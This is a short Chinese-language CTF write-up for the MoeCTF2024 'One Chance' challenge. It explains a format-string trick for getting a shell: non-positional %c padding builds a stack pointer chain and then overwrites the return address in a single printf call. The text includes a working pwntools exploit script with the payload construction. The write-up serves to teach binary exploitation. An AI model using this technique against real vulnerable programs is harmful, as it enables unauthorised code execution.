Bootstrap

格式化字符串利用手法-一次机会构造栈链getshell

这个方法来源于MoeCTF2024的One Chance,本处只是记录一下。

这道题数据写入到了bss段,也就意味着我们无法直接修改栈上的数据,而是要构造栈链进行修改,程序给了栈地址和后门函数,但是只给了一次fmt的机会,很明显无法单纯通过改一次就修改返回地址,因此我们需要在一次fmt中修改两次,而且是有顺序的修改,先构造好栈链指向返回地址,再改为后门函数。

这个时候很自然的就会想用%c%x$hhn+地址+%c%y$hhn+地址进行修改,但是这样是不行的。这和 printf 的解析机制有关:在 printf 函数遇到第一个位置指定的格式化字符串%x$hn后,就会把整个格式化字符串中的位置指定的字符一起解析了,也就是说这时%y$hhn已经被解析了,并且拿到的地址是一个与返回地址没有任何关系的栈地址。而之后我们才将y位置的值改成返回地址,但这时已经没用了。

如何绕过:

既然printf 在遇到第一个位置指定的格式化字符后才会触发这种机制,那我们就先不使用这种格式化字符,所以我们在前面可以构造'%c'*x+f'%{修改的值}c%hn'这种 payload,这会向 x+2位置的地址的值修改,但是却不会触发这种机制。这样之后就能愉快的通过栈链把返回地址改为backdoor了

 

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# io = remote("192.168.10.2", 62838)
io = process("./pwn")
elf=ELF('./pwn')
libc = ELF("./libc.so.6")
gdb.attach(io,'b *$rebase(0x12A1)')
io.recvuntil(b'0x')
ret_addr = int(io.recv(12), 16) + 0x18
success(hex(ret_addr))
ret_addr = ret_addr & 0xffff
# backdoor = elf.symbols['b2c4do0r']
pad = '%c' * 13 + f'%{ret_addr - 13}c%hn'
pad += f'%{((ret_addr + 0xff) & ~0xff) + (0x1210 & 0xff) - ret_addr}c%{0x27 + 6}$hhn'
pad = pad.encode()
io.sendlineafter(b'chance', pad)
io.interactive() 

;